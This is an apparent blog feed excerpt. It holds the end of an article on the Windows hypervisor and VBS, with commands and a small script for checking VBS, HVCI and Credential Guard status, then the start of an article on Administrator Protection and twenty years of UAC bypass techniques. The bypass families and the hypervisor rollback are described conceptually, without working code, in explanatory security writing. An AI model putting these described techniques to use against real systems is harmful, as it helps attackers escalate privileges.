The hypervisor is necessary but not sufficient. The firmware-Secure-Boot-DRTM substrate beneath it, the microarchitectural ceiling above it, the IOMMU configuration beside it, and the Windows Update pipeline that decides which hypervisor build runs next are co-equal members of the same boundary. None of them is the hypervisor; all of them have to do their job for the hypervisor&apos;s guarantees to hold. The substrate is real, but the boundary is the combination of the substrate and what holds it up.
&lt;p&gt;Necessary, not sufficient. That phrase is the article&apos;s honest answer to the question &quot;how good is the substrate?&quot; The answer is that the substrate is genuine, the boundary is published, the bounty calibration is the highest in the industry, the public CVE record is alive and narrow, and the residual attack surface lives in places the hypervisor cannot by construction control. The substrate is what we have explored in detail; what holds it up is what we have just sketched. The last section turns from theory to practice.&lt;/p&gt;
&lt;h2&gt;12. Practical Guide, FAQ, and Closing&lt;/h2&gt;
&lt;p&gt;If you have read this far, the natural next question is &quot;is this on, on my machine, and how do I check?&quot; The practical answer is short.&lt;/p&gt;
&lt;h3&gt;12.1 Enabling and verifying VBS&lt;/h3&gt;
&lt;p&gt;VBS is configurable through several paths: Group Policy (&lt;code&gt;Computer Configuration &amp;gt; Administrative Templates &amp;gt; System &amp;gt; Device Guard&lt;/code&gt;), Intune, MDM CSPs (&lt;code&gt;DeviceGuard/EnableVirtualizationBasedSecurity&lt;/code&gt;, &lt;code&gt;DeviceGuard/ConfigureSystemGuardLaunch&lt;/code&gt;), the Windows Security UI, or directly via &lt;code&gt;bcdedit /set hypervisorlaunchtype Auto&lt;/code&gt;. Verification is best done with three small commands.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;msinfo32&lt;/code&gt; -&amp;gt; the Device Guard / Virtualization-based Security row. &quot;Services Configured&quot; lists what policy has requested; &quot;Services Running&quot; lists what is actually active. Kernel DMA Protection and Secure Launch each appear as their own row.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Get-CimInstance -ClassName Win32_DeviceGuard&lt;/code&gt; -&amp;gt; &lt;code&gt;VirtualizationBasedSecurityStatus&lt;/code&gt; (0 = off, 1 = enabled but not running, 2 = running); &lt;code&gt;SecurityServicesRunning&lt;/code&gt; array (HVCI, Credential Guard, etc.); &lt;code&gt;RequiredSecurityProperties&lt;/code&gt; (the policy floor).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bcdedit /enum&lt;/code&gt; -&amp;gt; &lt;code&gt;hypervisorlaunchtype Auto&lt;/code&gt; is the default; &lt;code&gt;loadoptions DISABLE_VBS_*&lt;/code&gt; is how an administrator can opt out (you should not see these flags on a properly-configured machine).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;{`
// Given a parsed Win32_DeviceGuard object, compute whether VBS is healthy.
// The actual Win32_DeviceGuard schema is on Microsoft Learn; this is the
// decision logic an operator would write against it.
function checkVbsHealth(dg) {
  const result = { ok: false, reasons: [] };&lt;/p&gt;
&lt;p&gt;  // VBS itself
  if (dg.VirtualizationBasedSecurityStatus !== 2) {
    result.reasons.push(&apos;VBS is not running (status != 2)&apos;);
  }&lt;/p&gt;
&lt;p&gt;  // HVCI (Memory Integrity)
  if (!dg.SecurityServicesRunning.includes(2)) {
    result.reasons.push(&apos;HVCI / Memory Integrity is not running&apos;);
  }&lt;/p&gt;
&lt;p&gt;  // Credential Guard
  if (!dg.SecurityServicesRunning.includes(1)) {
    result.reasons.push(&apos;Credential Guard is not running&apos;);
  }&lt;/p&gt;
&lt;p&gt;  // Required floor properties (e.g. Secure Boot, DMA protection, SMM mitigation)
  const requiredFloor = [1, 2, 3]; // service codes per Win32_DeviceGuard
  for (const r of requiredFloor) {
    if (!dg.AvailableSecurityProperties.includes(r)) {
      result.reasons.push(&apos;Missing required security property: &apos; + r);
    }
  }&lt;/p&gt;
&lt;p&gt;  result.ok = result.reasons.length === 0;
  return result;
}&lt;/p&gt;
&lt;p&gt;const example = {
  VirtualizationBasedSecurityStatus: 2,
  SecurityServicesRunning: [1, 2, 3],
  AvailableSecurityProperties: [1, 2, 3, 4, 5],
};
console.log(JSON.stringify(checkVbsHealth(example), null, 2));
// -&amp;gt; { ok: true, reasons: [] }
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Three commands, in order: &lt;code&gt;msinfo32&lt;/code&gt; for the human-readable summary; &lt;code&gt;Get-CimInstance -ClassName Win32_DeviceGuard | Format-List *&lt;/code&gt; for the structured detail; &lt;code&gt;bcdedit /enum {current}&lt;/code&gt; to confirm &lt;code&gt;hypervisorlaunchtype Auto&lt;/code&gt; and the absence of &lt;code&gt;DISABLE_VBS_*&lt;/code&gt; load options. If all three agree that VBS, HVCI, and Credential Guard are running, you are in the configuration this article describes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;12.2 Operational pitfalls&lt;/h3&gt;
&lt;p&gt;Two operational realities are worth flagging. First, HVCI has a &lt;em&gt;&lt;a href=&quot;https://paragmali.com/blog/windows-app-identity-33-year-reinvention/&quot; rel=&quot;noopener&quot;&gt;driver block list&lt;/a&gt;&lt;/em&gt; and will refuse to enable Memory Integrity if any incompatible driver is installed; the usual offenders are older anti-cheat drivers, third-party virtualization clients (VMware Workstation pre-2021, VirtualBox pre-6.1), and certain disk-encryption or storage-filter drivers. Microsoft maintains a public block list; the Memory Integrity UI in Windows Security will report the specific blocking driver. Second, nested virtualization is supported for Hyper-V guests on Windows 10/11 client and Server 2016+, and is required by some development workflows (WSL2 with nested containers, certain Visual Studio device emulators). Nested virtualization changes the threat model -- the L0 hypervisor still owns the box, but the L1 guest now runs its own hypervisor with its own VTL split -- so a compromised L1 guest with VBS enabled still does not give an L1 attacker a path to the L0 host.&lt;/p&gt;
&lt;h3&gt;12.3 The substrate cross-reference&lt;/h3&gt;
&lt;p&gt;This article is the substrate of the Windows security series at paragmali.com. The siblings build on what is here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot in Windows&lt;/a&gt; -- the static-RTM half of the boot trust chain that hands off to the hypervisor.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paragmali.com/blog/vbs-trustlets-what-actually-runs-in-the-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;VBS Trustlets: What Actually Runs in the Secure Kernel&lt;/a&gt; -- the VTL1 internals that the hypervisor&apos;s secure-call ABI delivers requests to.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;NTLMless: The Death of NTLM in Windows&lt;/a&gt; -- the Credential Guard story from inside LSAISO.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;Adminless: Administrator Protection in Windows&lt;/a&gt; -- the user-mode admin trust model that the kernel-mode VBS boundary makes possible.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paragmali.com/blog/windows-access-control-25-years-of-attacks/&quot; rel=&quot;noopener&quot;&gt;Can This Code Do This? Windows Access Control&lt;/a&gt; -- the access-control surface that VBS supplements but does not replace.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;12.4 Frequently asked questions&lt;/h3&gt;


The 10-30 percent number is folklore from the pre-SLAT era or from systems running HVCI-incompatible drivers in compatibility mode. For typical workloads on modern hardware (post-2018 CPUs with VT-x or AMD-V and SLAT), the measured overhead of VBS plus HVCI plus Credential Guard sits in the low single digits. Gaming and high-throughput I/O workloads can show larger gaps, especially on systems where the BIOS forces nested virtualization off or where IOMMU is disabled. The trade-off for that overhead is the security-boundary set described in this article.

No. VBS is a Virtual Trust Level split *inside* the root partition. There are no extra VMs. The normal Windows install is VTL0; the Secure Kernel plus its trustlets is VTL1. Both VTLs live in the same partition, share the same physical CPU, and are scheduled by the hypervisor as separate VTL contexts -- not as separate VMs. A Hyper-V guest VM, by contrast, is a child partition entirely separate from the root partition. The two architectures share a hypervisor binary but use different parts of it.

No. SYSTEM is a high VTL0 user-mode token; the hypervisor sits architecturally above all of Ring 0, which is where SYSTEM-loaded kernel drivers ultimately run. The point of the entire article is that &quot;SYSTEM owns the box&quot; is wrong on a VBS-enabled Windows install. SYSTEM is the most privileged Windows identity; the hypervisor is the most privileged *software*, and the two are not the same thing.

No. Secure Boot prevents loading an *unsigned* `hvix64.exe`. It does not prevent loading an older, signed-but-vulnerable `hvix64.exe` that has not been added to the UEFI revocation list. That gap is what CVE-2024-21302 (Windows Downdate) exploited, and the mitigation is mandatory-update servicing combined with prompt revocation-list (`dbx`) hygiene [@nvd-cve-2024-21302].

No. seL4 is formally verified at approximately ten thousand lines of code with a roughly twenty-five-person-year proof effort. The Microsoft hypervisor is unverified at an estimated one to two hundred thousand lines of code. The hypervisor&apos;s security argument is operational -- a small TCB, heavy continuous fuzzing, a standing \$5K-\$250K bounty, public servicing criteria, an unflinching public CVE record -- rather than mathematical [@sel4-whitepaper, @ms-msrc-bounty-hyperv].

Yes, in terms of binary identity, servicing criteria, and bounty eligibility. The Microsoft hypervisor that boots on a Windows 11 client laptop and the one that boots on an Azure host server are derived from the same codebase, ship with the same servicing commitments, and qualify for the same Hyper-V bounty. The threat model differs -- Azure adds multi-tenant guest-to-guest isolation, hardware confidential-VM extensions, and a different management surface -- but the substrate is shared.

&lt;h3&gt;12.5 Closing&lt;/h3&gt;
&lt;p&gt;The reason SYSTEM on a Windows 11 box cannot read LSASS, load an unsigned driver, or patch &lt;code&gt;ntoskrnl.exe&lt;/code&gt; is now fully accounted for. An &lt;code&gt;hvix64.exe&lt;/code&gt; or &lt;code&gt;hvax64.exe&lt;/code&gt; loaded by &lt;code&gt;hvloader.efi&lt;/code&gt; before &lt;code&gt;winload.exe&lt;/code&gt; ever ran. A VTL split inside the root partition, made possible by Hepkin and Kishan&apos;s 2013 patent and shipped with Windows 10 RTM in 2015. Per-VTL SLAT enforcement that the NT kernel architecturally cannot touch, because the SLAT tables live in pages the hypervisor never maps into a VTL0 view. A Microsoft-published security boundary and a $5,000-$250,000 bounty calibrating the boundary&apos;s value, both of which are unique in the industry at this writing. A public CVE record of six worked examples across three narrow classes that the boundary has had to pay out on since 2018. And a residual attack surface -- firmware below, side channels above, IOMMU bypass beside, hypervisor rollback through the update pipeline -- that the substrate cannot, by construction, eliminate.&lt;/p&gt;
&lt;p&gt;The hypervisor is what every other article in this series sits on. Now you have the substrate in hand. The Secure Kernel article reads differently when you have walked the per-VTL SLAT yourself. The Credential Guard article reads differently when you know that LSAISO is invoked through a hypercall-mediated secure call. The Secure Boot article reads differently when you know that the hypervisor&apos;s DRTM measurement re-establishes the trust root &lt;em&gt;after&lt;/em&gt; firmware. The Adminless article reads differently when you know that the privilege ceiling on Windows 11 is not Ring 0 but a hardware boundary above it.&lt;/p&gt;
&lt;p&gt;Above Ring Zero is not a metaphor. It is an instruction-set state. The Windows hypervisor lives there, owns the page tables that say what the OS can see, and is the architectural reason &quot;SYSTEM-on-Windows-11&quot; cannot do things SYSTEM used to be allowed to do.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-hypervisor-security-primitive&quot; keyTerms={[
  { term: &quot;VBS&quot;, definition: &quot;Virtualization-Based Security. A Windows architecture that uses the Hyper-V hypervisor to isolate security-critical code (the Secure Kernel and trustlets) from the regular NT kernel via per-VTL SLAT.&quot; },
  { term: &quot;VTL&quot;, definition: &quot;Virtual Trust Level. A hypervisor-managed privilege level inside a single partition; each VTL has its own SLAT mapping, register state, and interrupt subsystem. Two VTLs ship today (VTL0 = Normal world, VTL1 = Secure world); the architecture admits up to sixteen.&quot; },
  { term: &quot;Hypercall&quot;, definition: &quot;A guest-to-hypervisor call issued via vmcall (Intel) or vmmcall (AMD). The hypercall ABI is documented in the TLFS; rcx carries the call code and a control word, rdx/r8 carry parameters (fast) or GPA pointers to parameter pages (slow).&quot; },
  { term: &quot;SynIC&quot;, definition: &quot;Synthetic Interrupt Controller. The hypervisor&apos;s per-virtual-processor event-delivery surface. SynIC carries VMBus traffic, secure-call signaling, and synthetic timers.&quot; },
  { term: &quot;SLAT&quot;, definition: &quot;Second-Level Address Translation. Hardware page-table support (Intel EPT, AMD NPT) that lets the hypervisor own a separate mapping from guest-physical to system-physical addresses.&quot; },
  { term: &quot;DRTM&quot;, definition: &quot;Dynamic Root of Trust for Measurement. A late-launch event (Intel TXT SENTER, AMD SKINIT) that measures the hypervisor binary into TPM PCRs after firmware initialization, re-establishing the trust root post-firmware.&quot; },
  { term: &quot;Trustlet&quot;, definition: &quot;A user-mode process that runs inside VTL1&apos;s Isolated User Mode (IUM). Signed with Signature Level 12 plus the IUM EKU. Inbox trustlets include LSAISO (Credential Guard) and VMSP (vTPM host side).&quot; }
]} questions={[
  { q: &quot;Why is the same-privilege paradox an architectural ceiling rather than an implementation bug?&quot;, a: &quot;Because the defender at privilege level P shares an address space with an attacker at the same level. The attacker can locate and edit any state the defender maintains using ordinary load/store instructions. Better defenses at P do not change where the defender lives; only moving the defender to a privilege level above P does.&quot; },
  { q: &quot;What 2013 patent describes the per-VTL design that Windows 10 shipped in 2015?&quot;, a: &quot;US Patent 9,430,642 B2 by David Hepkin and Arun Kishan, priority date September 17, 2013, granted August 30, 2016. It teaches hierarchical Virtual Trust Levels with per-VTL memory access protections and per-VTL virtual-processor register state.&quot; },
  { q: &quot;Name the three classes that all post-2018 public Hyper-V CVEs fall into.&quot;, a: &quot;Class A: device emulation in the root partition (vmswitch.sys, NT Kernel Integration VSP). Class B: hypercall input-validation inside the hypervisor binary itself. Class C: VTL0-to-VTL1 secure-call dispatch into the Secure Kernel.&quot; },
  { q: &quot;Which hypervisor primitive does HVCI&apos;s W^X enforcement ride on?&quot;, a: &quot;Per-VTL SLAT. An NT-kernel attempt to mark a writable VTL0 page executable becomes a memory-access intercept routed to VTL1&apos;s code-integrity service; the hypervisor only grants the new SLAT entry if VTL1 approves.&quot; },
  { q: &quot;Why does Secure Boot not prevent hypervisor rollback?&quot;, a: &quot;Secure Boot validates signatures, not freshness. An older, validly-signed-but-vulnerable hypervisor binary that has not been added to the UEFI revocation list (dbx) will still load. Closing this gap requires proactive dbx hygiene plus mandatory-update servicing, which is what mitigated CVE-2024-21302 Windows Downdate.&quot; },
  { q: &quot;What is the structural difference between Blue Pill (offense) and VBS (defense)?&quot;, a: &quot;Architecturally there is none. Both are thin Type-1 hypervisors that interpose between firmware and OS, own the second-level page tables, and are invisible to the OS unless the OS can attest to what is underneath it. The differences are whose hypervisor it is, whether it was measured at load time, and what it does with its privilege.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>hypervisor</category><category>hyper-v</category><category>vbs</category><category>virtualization</category><category>security</category><category>systems</category><category>tcb</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Adminless: How Windows Finally Made Elevation a Security Boundary</title><link>https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/</link><guid isPermaLink="true">https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/</guid><description>Administrator Protection replaces UAC with a system-managed admin account created per elevation, gated by Windows Hello, and destroyed when the job is done.</description><pubDate>Sun, 10 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Administrator Protection (informally &quot;Adminless&quot;) replaces Windows 11&apos;s split-token UAC with a separate, system-managed local user account.** The operating system creates this **System Managed Administrator Account (SMAA)** per local admin, links it to the primary admin via paired SAM attributes, and uses it to host elevated processes in a fresh logon session gated by Windows Hello. The kernel asks LSA to authenticate &quot;a new instance of the shadow administrator&quot; without any SMAA credential because the SMAA has none. The mechanism makes the elevation path a security boundary for the first time, with bulletin-grade fixes when it fails. Microsoft shipped it in KB5067036 on October 28, 2025, then reverted it on December 1, 2025 over an application-compatibility issue, not a security failure. This article walks the twenty-year argument that produced the design, the nine pre-GA bypasses Forshaw found and Microsoft fixed, and exactly where the new boundary still leaks.
&lt;h2&gt;1. Two tokens, one user, twenty years&lt;/h2&gt;
&lt;p&gt;Open an elevated console on a Windows 11 device with the registry value &lt;code&gt;TypeOfAdminApprovalMode = 2&lt;/code&gt; set, and run &lt;code&gt;whoami /all&lt;/code&gt;. The user name is no longer yours. It is &lt;code&gt;ADMIN_&amp;lt;sixteen random characters&amp;gt;&lt;/code&gt; -- a local account you never created, owned by an operating-system component you never ran, in a logon session that did not exist five seconds ago and will not exist five seconds after the console closes.&lt;/p&gt;
&lt;p&gt;For twenty years, an elevated Windows command prompt reported the same user name as the unelevated one. The integrity level changed. The token changed. The user did not. That single architectural fact is the load-bearing premise of every UAC bypass ever published. The Vista User Account Control design from 2006 issued two tokens at logon for a member of the local Administrators group: a filtered standard-user token for everyday work, and a full admin token linked to it via the &lt;code&gt;TokenLinkedToken&lt;/code&gt; field [@ms-uac-how-it-works]. When the user clicked Yes on a consent prompt, the Application Information service called &lt;code&gt;CreateProcessAsUser&lt;/code&gt; with the linked token. Same user. Same profile. Same &lt;code&gt;HKCU&lt;/code&gt;. Same logon session. Different integrity level.&lt;/p&gt;
&lt;p&gt;Four resources stayed shared between the filtered and full tokens, and four categories of attack grew out of them. Files dropped in a writable directory the elevated process trusts. Registry values planted under &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; that an elevated binary reads before it consults &lt;code&gt;HKEY_CLASSES_ROOT&lt;/code&gt;. COM elevation monikers that hand the attacker an elevated &lt;code&gt;IFileOperation&lt;/code&gt; interface. Path-resolution overrides that redirect &lt;code&gt;%SystemRoot%&lt;/code&gt; for a single auto-elevating process. The UACMe project [@uacme] catalogues 81 such methods, each one a load against the shared-resource shape of Vista&apos;s split token.&lt;/p&gt;
&lt;p&gt;Administrator Protection inverts that shape. The elevated administrator becomes a &lt;em&gt;different account&lt;/em&gt; with a different security identifier, a different profile directory, a different &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive, a different authentication-ID LUID, and a different DOS device object directory under &lt;code&gt;\Sessions\0\DosDevices\&lt;/code&gt;. The operating system manages the account itself. It is created on demand the first time the policy is enabled, linked to the primary admin via paired Security Account Manager attributes, used in a fresh logon session for every elevation, and the elevated token is destroyed when the process exits [@ms-developer-blog-2025, @call4cloud-osint].&lt;/p&gt;
&lt;p&gt;The feature ships under four names -- &lt;strong&gt;Administrator Protection&lt;/strong&gt; in Microsoft Learn, &lt;strong&gt;Adminless&lt;/strong&gt; as the community shorthand this article uses, &lt;strong&gt;ShadowAdmin&lt;/strong&gt; in the &lt;code&gt;samsrv.dll&lt;/code&gt; engineering symbols, &lt;strong&gt;System Managed Administrator Account (SMAA)&lt;/strong&gt; in the Windows Developer Blog [@ms-admin-protection, @ms-developer-blog-2025, @call4cloud-osint] -- and §6 walks each in turn. The launch arc was short: announced at Ignite 2024 by David Weston on November 19, 2024 [@bleepingcomputer-2024], surfaced earlier that fall in Insider Preview build 27718 on October 2, 2024 [@ms-insider-build-27718], shipped to stable Windows in KB5067036 on October 28, 2025 [@ms-kb5067036], and disabled on December 1, 2025 over a WebView2 application-compatibility regression [@forshaw-pz-jan2026, @ms-admin-protection].&lt;/p&gt;
&lt;p&gt;This article walks what changed and what did not. By the end you will know exactly which UAC bypass families are dead, exactly which survive, exactly what the December 2025 revert was about, and exactly where the new boundary still leaks. The path runs through twenty years of design tradeoffs and seven years of binary-level fixes that never converged on a real boundary. It runs through nine Project Zero bypasses Microsoft fixed before shipping. It ends at a question Microsoft&apos;s own design documents do not yet answer: when the prompt is a credential gate instead of a click-through, what is left for the attacker to do?&lt;/p&gt;
&lt;p&gt;The first thing to understand is what UAC was trying to do, and why Microsoft said for twenty years it was not a security boundary.&lt;/p&gt;
&lt;h2&gt;2. &quot;Convenience, not boundary&quot;: UAC as Microsoft conceived it&lt;/h2&gt;
&lt;p&gt;Why did Vista ship UAC at all? For most of Windows history, every interactive logon for a member of the local Administrators group produced one full-admin token. The desktop shell ran as a full administrator. Every child process inherited those rights. The worm era of 2003 to 2005 demonstrated, repeatedly, that one process running in user context owned the whole machine. By 2006 the cost of admin-by-default had become impossible to defend [@wikipedia-uac].The pre-Vista &lt;em&gt;Limited User Account&lt;/em&gt; (LUA) was Microsoft&apos;s first attempt at a fix. The conceptual ancestor of the filtered token failed in practice because roughly half of the third-party application base broke under it, and the documented workaround -- &lt;code&gt;RUNAS.EXE&lt;/code&gt; -- was operationally hostile enough that almost no one used it.&lt;/p&gt;
&lt;p&gt;The redesign that produced UAC pivoted on a single observation. Forcing administrators to run as standard users had failed because too much software assumed admin rights. So Vista would give each admin user &lt;em&gt;two&lt;/em&gt; identities. One would be standard-user enough to run the desktop, the browser, and the day-to-day applications without privilege. The other would carry the admin rights, and the operating system would arrange for the user to opt into it on a per-task basis.&lt;/p&gt;
&lt;p&gt;Mark Russinovich&apos;s June 2007 article &lt;em&gt;Inside Windows Vista User Account Control&lt;/em&gt; in TechNet Magazine [@russinovich-2007-vista] remains the canonical reference for the design. The mechanism is two tokens at logon; the integrity-level taxonomy (Low, Medium, High, System) gating object access; file-system and registry virtualisation rerouting writes by legacy apps; and Mandatory Integrity Control enforcing the no-write-up rule at the kernel-object boundary.&lt;/p&gt;

The mechanism by which Vista UAC assigns two distinct access tokens to a single interactive logon for a member of the local Administrators group. The Local Security Authority issues both at logon: a filtered standard-user token with most privileges removed and the Administrators group marked as deny-only, and a linked full administrator token referenced from the filtered token&apos;s `TokenLinkedToken` field [@ms-uac-how-it-works].
&lt;p&gt;The disclaimer that follows the design is the single most quoted sentence Russinovich ever published about UAC. The article will lift it verbatim once, because every Administrator Protection design decision falls out of its absence:&lt;/p&gt;

It&apos;s important to be aware that UAC elevations are conveniences and not security boundaries. -- Mark Russinovich, *Inside Windows Vista User Account Control*, TechNet Magazine, June 2007 [@russinovich-2007-vista]
&lt;p&gt;This is not an accidental disclaimer. It is the canonical Microsoft classification, preserved into the Microsoft Security Servicing Criteria document [@msrc-servicing-criteria]. James Forshaw of Google Project Zero, writing in January 2026, re-states the position verbatim: &quot;due to the way it was designed, it was quickly apparent it didn&apos;t represent a hard security boundary, and Microsoft downgraded it to a security feature&quot; [@forshaw-pz-jan2026]. The classification is what determined what Microsoft would and would not pay attention to. A &quot;security boundary&quot; gets a security bulletin when an attacker crosses it. A &quot;security feature&quot; does not. A bypass of a boundary is a vulnerability. A bypass of a feature is a quality bug. For twenty years, UAC bypasses were quality bugs.&lt;/p&gt;
&lt;p&gt;The two-tokens-at-logon mechanism is the shape from which the entire bypass canon grows. The twenty years of evolution that follow run along a single timeline.&lt;/p&gt;

timeline
    title Privilege separation in Windows, NT 3.1 to Administrator Protection
    1993 : NT 3.1 ships multi-user accounts and DACLs but admin-by-default desktop culture
    2006 : Vista UAC introduces the split-token model and Mandatory Integrity Control
    2009 : Davidson publishes the first UAC bypass; Windows 7 ships auto-elevation
    2014 : hfiref0x&apos;s UACMe catalogue collects the bypass canon
    2016 : enigma0x3 publishes the registry-hijack family (eventvwr, fodhelper, sdclt)
    2019 : CVE-2019-1388 (consent.exe certificate dialog) is the lone UAC LPE bulletin
    2024 : Insider Preview build 27718 surfaces Administrator Protection; Ignite 2024 announces it
    2025 : KB5067036 ships the SMAA on stable Windows, then reverts on December 1
    2026 : Forshaw&apos;s nine pre-GA bypasses all fixed; the elevation path is now a security boundary
&lt;p&gt;To see why the entire bypass canon grew out of the split-token shape, the next section walks the mechanic at function-name granularity. It is the load-bearing pre-history of everything that comes after.&lt;/p&gt;
&lt;h2&gt;3. The Vista UAC split-token in detail&lt;/h2&gt;
&lt;p&gt;The mechanics at logon. The Local Security Authority Subsystem Service (LSASS) validates credentials. For a user in the local Administrators group, it constructs two tokens. The filtered token has its dangerous privileges removed and the Administrators SID marked deny-only; the full token retains them. The Token Manager wires the filtered token&apos;s &lt;code&gt;TokenLinkedToken&lt;/code&gt; field to a handle on the full token. LSASS hands the filtered token to &lt;code&gt;winlogon.exe&lt;/code&gt;. Winlogon launches &lt;code&gt;userinit.exe&lt;/code&gt;. Userinit launches &lt;code&gt;explorer.exe&lt;/code&gt;. The shell, holding the filtered token, becomes the parent process from which every user-initiated process inherits [@ms-uac-how-it-works].&lt;/p&gt;

The kernel structure that connects the filtered standard-user token to the linked full administrator token in Vista&apos;s split-token model. A process holding the filtered token can read the `TokenLinkedToken` field via the `GetTokenInformation` API to discover the handle of the full token, and pass that handle to `CreateProcessAsUser` to launch an elevated child. The same link is the structural premise of token-stealing attacks: any code path that can read or impersonate the linked token bypasses the consent UI entirely [@ms-uac-how-it-works, @forshaw-pz-jan2026].
&lt;p&gt;The shell shares four resources with anything launched under the full token.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The same user security identifier.&lt;/strong&gt; Both tokens carry the same primary SID. Files, registry keys, and kernel objects that grant access to the user grant identical access to both processes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The same &lt;code&gt;%USERPROFILE%&lt;/code&gt; directory tree.&lt;/strong&gt; &lt;code&gt;C:\Users\&amp;lt;user&amp;gt;\&lt;/code&gt; is the home of both. The Documents folder, the Downloads folder, the AppData hives, and any application-specific subdirectory belong to one user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The same &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; hive.&lt;/strong&gt; Both tokens map &lt;code&gt;HKCU&lt;/code&gt; to the same &lt;code&gt;NTUSER.DAT&lt;/code&gt; file. An elevated process that reads a user setting reads the value the unelevated user wrote.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The same logon-session LUID.&lt;/strong&gt; The Locally Unique Identifier that identifies an interactive logon session is the same on both tokens. The kernel uses that LUID as a key for per-logon-session caching: the DOS device object directory at &lt;code&gt;\Sessions\0\DosDevices\&amp;lt;LUID&amp;gt;&lt;/code&gt;, drive-letter mappings, mapped network drives, and the credential cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The elevation pipeline. A user clicks Yes on a UAC prompt. The mechanism beneath that click runs through a chain of named function calls.&lt;/p&gt;

sequenceDiagram
    participant User as User shell (filtered token)
    participant AppInfo as appinfo.dll (Application Information service)
    participant Consent as consent.exe (secure desktop)
    participant LSA as LSASS
    participant New as Elevated child process&lt;pre&gt;&lt;code&gt;User-&amp;gt;&amp;gt;AppInfo: ShellExecute / CreateProcess &quot;as admin&quot;
AppInfo-&amp;gt;&amp;gt;AppInfo: RAiLaunchAdminProcess RPC
AppInfo-&amp;gt;&amp;gt;AppInfo: Read manifest requestedExecutionLevel
AppInfo-&amp;gt;&amp;gt;AppInfo: Check ConsentPromptBehaviorAdmin
AppInfo-&amp;gt;&amp;gt;Consent: Launch consent.exe on Winlogon desktop
Consent-&amp;gt;&amp;gt;User: Show Yes / No prompt
User--&amp;gt;&amp;gt;Consent: Click Yes
Consent--&amp;gt;&amp;gt;AppInfo: Approved
AppInfo-&amp;gt;&amp;gt;LSA: Resolve TokenLinkedToken handle
AppInfo-&amp;gt;&amp;gt;New: CreateProcessAsUser(linked full token)
Note over New: Same SID and profile and HKCU and logon session
Note over New: Integrity level High
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The prompt runs on the &lt;em&gt;secure desktop&lt;/em&gt;, the same Winlogon-owned &lt;code&gt;Winsta0\Winlogon&lt;/code&gt; desktop where the credential-entry dialog appears at logon, not the user&apos;s interactive &lt;code&gt;Winsta0\Default&lt;/code&gt; desktop [@ms-uac-how-it-works]. User Interface Privilege Isolation (UIPI) blocks lower-integrity input from reaching higher-integrity windows; the secure-desktop switch is its first defence against synthetic-keystroke attacks against the prompt itself.The secure desktop is not invulnerable. It changes the integrity-isolation context, but a process holding the filtered token can still trigger the switch (that is the whole point of clicking Yes), and code running before the switch can in principle modify the surrounding UI state. CVE-2019-1388 in late 2019 turned out to exploit a different aspect entirely -- a UI-interaction path through the consent.exe certificate-viewer dialog -- and not the secure-desktop switch itself.&lt;/p&gt;
&lt;p&gt;Compare this to what comes next. Both tokens share four resources. Each of those resources is a category of attack waiting for a researcher to find it. The next section is the story of what happened when Microsoft tried to make UAC less annoying by silently elevating its own Microsoft-signed binaries -- and what the bypass canon did with the change.&lt;/p&gt;
&lt;h2&gt;4. Windows 7 auto-elevation and the birth of the bypass canon&lt;/h2&gt;
&lt;p&gt;A specific moment. December 2009. Leo Davidson publishes &lt;em&gt;Windows 7 UAC whitelist: Code-injection Issue / Anti-Competitive API / Security Theatre&lt;/em&gt; on pretentiousname.com [@davidson-2009]. The title is the argument. The page itself is sprawling, contentious, and on a few key technical points exactly right. Microsoft&apos;s response, in Davidson&apos;s own words: &quot;this is a non-issue, and ignored my offers to give them full details for several months.&quot; Microsoft Security Essentials eventually classified the &lt;em&gt;binary&lt;/em&gt; (not the technique) as &lt;code&gt;HackTool:Win32/Welevate.A&lt;/code&gt; and &lt;code&gt;HackTool:Win64/Welevate.A&lt;/code&gt;; in Davidson&apos;s pointed observation, &quot;recompiling the binaries in VS2010 means they are no longer detected&quot; [@davidson-2009].Davidson kept writing into his original page over the following decade. A marker buried inside the text reads &quot;As I was typing more words into this page, this appeared in my text editor at the 10,000th word!&quot; In March 2020 he removed the proof-of-concept binaries, noting &quot;I got sick of the page being marked as malware, even by Google (FFS).&quot; The prose remains the canonical first source on UAC bypasses [@davidson-2009].&lt;/p&gt;
&lt;p&gt;What Windows 7 added, in October 2009, to fix Vista&apos;s prompt-fatigue problem [@russinovich-2009-win7]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;autoElevate=true&lt;/code&gt; manifest attribute, embedded in selected Microsoft-signed Windows binaries.&lt;/li&gt;
